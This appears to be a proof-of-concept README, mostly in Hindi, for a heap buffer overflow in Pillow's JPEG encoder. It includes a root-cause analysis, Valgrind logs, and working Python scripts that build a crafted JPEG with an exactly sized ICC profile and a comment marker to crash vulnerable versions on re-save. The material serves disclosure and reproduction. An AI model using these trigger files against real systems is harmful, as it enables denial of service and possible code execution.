
CVE-2026-96778 के लिए प्रूफ-ऑफ-कॉन्सेप्ट और तकनीकी विश्लेषण, जो Pillow के JPEG एनकोडर में हीप बफ़र ओवरफ़्लो है, जो पुनः-सहेजने पर ICC प्रोफ़ाइल और COM मार्कर के संयोजन से ट्रिगर होता है।
यह रिपॉज़िटरी Pillow (Python Imaging Library) लाइब्रेरी में एक heap buffer overflow CVE-2026-96778 के लिए Proof of Concept (PoC), पुनरुत्पादन प्रमाण और तकनीकी विश्लेषण शामिल करती है।
संक्षिप्त सारांश: सटीक आकार की ICC प्रोफ़ाइल और टिप्पणी (COM marker) वाली JPEG छवि को पुनः सहेजने पर एनकोडर के 65,536 बाइट बफ़र से आगे लिखा जाता है, heap मेटाडेटा भ्रष्ट हो जाता है, और संभावित रूप से denial of service (crash) से लेकर कोड निष्पादन तक हो सकता है।
| फ़ील्ड | मान |
|---|---|
| CVE ID | CVE-2026-96778 |
| घटक | src/libImaging/JpegEncode.c — ImagingJpegEncode() |
| भेद्य बिंदु | पंक्ति 282 (COM marker के लिए jpeg_write_marker) |
| प्रकार | Heap Buffer Overflow (CWE-122) |
| प्रभावित सीमा | Pillow 9.4.0 – <13.0.0 |
| इसमें ठीक किया गया | Pillow 13.0.0 |
| प्रभाव | DoS (SIGSEGV/SIGABRT), संभावित RCE |
| वेक्टर | स्थानीय / उपयोगकर्ता इंटरैक्शन (छवि खोलना और पुनः सहेजना) |
| Advisory | GHSA-g7cr-3p24-7wf7 |
JpegImagePlugin._save() आउटपुट बफ़र का आकार केवल
exif और extra (ICC प्रोफ़ाइल) से गणना करता है, टिप्पणी के लिए कोई स्थान नहीं छोड़ता।_encode_to_file() (src/encode.c:186) MAXBLOCK = 65,536 बाइट का बफ़र
आवंटित करता है।free_in_buffer == 0 हो जाता है।jpeg_write_marker() कॉल किया जाता है
(JpegEncode.c:282), तो libjpeg पहले 1 बाइट लिखता है, और
उसके बाद ही size_t free_in_buffer काउंटर घटाता है।ENCODER_BUFFER = 65536 # ImageFile.MAXBLOCK
JFIF_HEADER = 20 # SOI + APP0 (ditulis jpeg_start_compress)
ICC_OVERHEAD = 18 # FFE2 <len> "ICC_PROFILE\0" <seq> <count>
ICC_PAYLOAD = 65536 - 20 - 18 = 65498 # tepat penuh
ICC_PAYLOAD = 65498 के साथ, बफ़र ठीक अंतिम बाइट तक भर जाता है।
COM मार्कर (किसी भी लंबाई का, 1–65533 बाइट) जोड़ने से ओवरफ़्लो हो जाता है।
अधिकतम वैध टिप्पणी (65.533 बाइट) ओवरफ़्लो को बड़ी मात्रा में डेटा लिखने
देती है, जिससे क्रैश अधिक निर्धारक होता है। छोटी टिप्पणी (जैसे 32 बाइट)
Valgrind में Invalid write तो फिर भी उत्पन्न करती है, लेकिन सामान्य रनटाइम में
क्रैश होना ज़रूरी नहीं है (यह हीप लेआउट और एलोकेटर पर निर्भर करता है)।
| घटक | मान |
|---|---|
| OS | Ubuntu Linux x86_64 |
| कर्नेल | Linux 6.x |
| Python | 3.12.3 |
| Valgrind | 3.22.0 |
| libjpeg | 8.2.2 (/usr/lib/x86_64-linux-gnu/libjpeg.so.8.2.2) |
| कंपाइलर | gcc 13.3.0 |
| परीक्षित Pillow | 9.4.0, 9.5.0, 13.0.0 |
| Pillow स्रोत | स्रोत से बिल्ड (pip install -e .) |
make_trigger.py — ट्रिगर JPEG जनरेटर65.498 बाइट के ICC प्रोफ़ाइल और COM मार्कर के साथ trigger.jpg बनाना।
from PIL import Image
import io, struct
im = Image.new("RGB", (16, 16), (255, 0, 0))
buf = io.BytesIO()
im.save(buf, "JPEG", quality=90)
base_jpeg = buf.getvalue()
icc_data = b"\x00" * 65498
icc_header = b"ICC_PROFILE\x00" + bytes([1, 1])
app2_payload = icc_header + icc_data
def make_app2(payload):
length = len(payload) + 2
return b"\xFF\xE2" + struct.pack(">H", length) + payload
def make_com(comment: bytes):
length = len(comment) + 2
return b"\xFF\xFE" + struct.pack(">H", length) + comment
assert base_jpeg[:2] == b"\xFF\xD8"
trigger = base_jpeg[:2] + make_app2(app2_payload) + make_com(b"X" * 32) + base_jpeg[2:]
with open("trigger.jpg", "wb") as f:
f.write(trigger)
print("trigger.jpg dibuat:", len(trigger), "byte")
repro_cve.py — Valgrind-अनुकूल पुनरुत्पादनfrom PIL import Image
im = Image.open("trigger.jpg")
print("Ukuran:", im.size, "format:", im.format)
print("Punya ICC:", "icc_profile" in im.info)
print("Punya komentar:", "comment" in im.info)
im.save("out.jpg", "JPEG", icc_profile=im.info.get("icc_profile"))
print("Selesai menyimpan ulang.")
Valgrind के साथ चलाएँ:
python3 make_trigger.py
valgrind --error-exitcode=1 python3 repro_cve.py 2> valgrind.log
poc_advisory.py — संदर्भ PoC (क्रैश डिटेक्शन)आधिकारिक GHSA-g7cr-3p24-7wf7 सलाह पर आधारित।
चाइल्ड प्रोसेस में im.save() चलाता है और एग्ज़िट स्टेटस की जाँच करता है
(नकारात्मक = सिग्नल द्वारा मारा गया)।
#!/usr/bin/env python3
# Pillow heap buffer overflow in ImagingJpegEncode() (JpegEncode.c, case 4).
import random, struct, subprocess, sys
from io import BytesIO
from PIL import Image
ENCODER_BUFFER = 65536
JFIF_HEADER = 20
ICC_OVERHEAD = 18
ICC_PAYLOAD = ENCODER_BUFFER - JFIF_HEADER - ICC_OVERHEAD # 65498
COMMENT = b"C" * 65533
RESAVE = """
import sys
from io import BytesIO
from PIL import Image
im = Image.open(BytesIO(sys.stdin.buffer.read()))
im.save(BytesIO(), "JPEG", icc_profile=im.info["icc_profile"])
print("save returned normally")
"""
def segment(marker, payload):
return bytes([0xFF, marker]) + struct.pack(">H", len(payload) + 2) + payload
def make_jpeg(with_comment):
noise = random.Random(1234).randbytes(256 * 256 * 3)
out = BytesIO()
Image.frombytes("RGB", (256, 256), noise).save(out, "JPEG", quality=95)
plain = out.getvalue()
icc = segment(0xE2, b"ICC_PROFILE\0\x01\x01" + b"I" * ICC_PAYLOAD)
com = segment(0xFE, COMMENT) if with_comment else b""
return plain[:2] + icc + com + plain[2:]
def resave(jpeg):
cmd = [sys.executable, "-X", "faulthandler", "-c", RESAVE]
r = subprocess.run(cmd, input=jpeg, capture_output=True)
print((r.stdout + r.stderr).decode(errors="replace").strip())
print(f"-> exit status {r.returncode}")
return r.returncode
print("Control: re-save the JPEG without a comment")
resave(make_jpeg(with_comment=False))
print(f"\nPoC: re-save the JPEG with a {len(COMMENT)}-byte comment")
rc = resave(make_jpeg(with_comment=True))
if rc < 0:
print(f"\nim.save() killed the process with signal {-rc}: out-of-bounds heap write")
print("BUG")
else:
print("OK")
| पिलो संस्करण | आयात स्रोत | Valgrind | PoC सलाह | स्थिति |
|---|---|---|---|---|
| 9.4.0 | /mnt/Pillow/src/PIL | Invalid write ×5 + हीप करप्ट | BUG (SIGSEGV) | असुरक्षित |
| 9.5.0 | /mnt/Pillow/src/PIL | Invalid write ×5 + हीप करप्ट | BUG (SIGSEGV) | असुरक्षित |
| 13.0.0 | /mnt/Pillow-13/src/PIL | 0 errors | OK | सुरक्षित |
==7310== Invalid write of size 1
==7310== at 0x622410E: ??? (in libjpeg.so.8.2.2)
==7310== by 0x6214569: jpeg_write_marker (in libjpeg.so.8.2.2)
==7310== by 0x61DE40D: ImagingJpegEncode (JpegEncode.c:282)
==7310== Address 0x60ddce0 is 0 bytes after a block of size 65,536 alloc'd
==7310== at malloc
==7310== by 0x61C06B4: _encode_to_file (encode.c:186)
...
valgrind: Heap block lo/hi size mismatch: lo = 65600, hi = 6365935209750747224